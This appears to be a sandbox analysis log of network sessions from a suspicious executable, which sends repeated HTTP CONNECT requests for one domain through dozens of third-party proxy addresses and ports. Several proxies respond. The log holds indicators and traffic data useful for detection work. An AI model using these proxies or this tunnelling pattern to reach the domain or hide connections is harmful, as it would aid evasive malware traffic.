Mar 11, 2024 15:21:28.903330088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:53.075031996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:41.074922085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
738	192.168.2.9	52550	38.54.95.19	9080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.857140064 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:05.434629917 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:06.138039112 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:07.638129950 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:10.325731039 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:13.138000011 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:15.825444937 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:21.325418949 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:32.137563944 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
739	192.168.2.9	49897	45.159.189.244	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.857594967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:06.162643909 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
740	192.168.2.9	49929	185.82.218.52	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.858036041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
741	192.168.2.9	52563	157.185.160.74	26589	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.859545946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
742	192.168.2.9	52565	38.54.95.19	8060	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.860227108 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:05.403517962 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:06.185203075 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:07.569462061 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:10.169359922 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:12.887960911 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:15.497231007 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:20.670475960 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:31.090724945 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
743	192.168.2.9	52533	59.6.26.121	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.860619068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
744	192.168.2.9	51558	195.66.156.196	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.890425920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.997040033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
745	192.168.2.9	52393	103.95.97.42	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.890587091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
746	192.168.2.9	50066	107.180.103.214	61634	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.892883062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.934720039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.942743063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.138041973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:29.137808084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:41.137557030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:53.137670040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:17.137497902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:05.137453079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
747	192.168.2.9	52541	47.243.114.192	8180	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.898627996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
748	192.168.2.9	52546	154.12.178.107	29985	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.900485039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
749	192.168.2.9	51523	78.188.81.57	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.903944016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.996982098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.086165905 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
750	192.168.2.9	52560	147.75.92.251	9401	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.904764891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.637866974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.914686918 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
751	192.168.2.9	52547	82.113.157.122	31280	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.904766083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
752	192.168.2.9	52614	104.25.64.27	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.907079935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.063843966 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
753	192.168.2.9	52545	43.133.74.172	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.907694101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
754	192.168.2.9	52567	174.75.211.222	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.908236027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
755	192.168.2.9	52549	218.252.244.126	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.908642054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
756	192.168.2.9	52559	18.185.169.150	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.909305096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.215451002 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:05 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
757	192.168.2.9	52532	202.162.219.12	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.930481911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
758	192.168.2.9	50104	189.240.60.163	9090	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.937038898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.210122108 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
759	192.168.2.9	52539	79.110.196.145	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.937117100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
760	192.168.2.9	52544	171.250.218.113	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.937292099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
761	192.168.2.9	52548	111.90.150.109	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.938038111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
762	192.168.2.9	52627	162.241.46.6	41442	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.938811064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
763	192.168.2.9	52573	98.178.72.21	10919	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.939694881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
764	192.168.2.9	52608	66.45.246.194	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.949645996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
765	192.168.2.9	52575	98.162.25.4	31654	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.949678898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
766	192.168.2.9	52564	37.235.48.19	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.952105999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
767	192.168.2.9	51826	177.234.194.154	999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
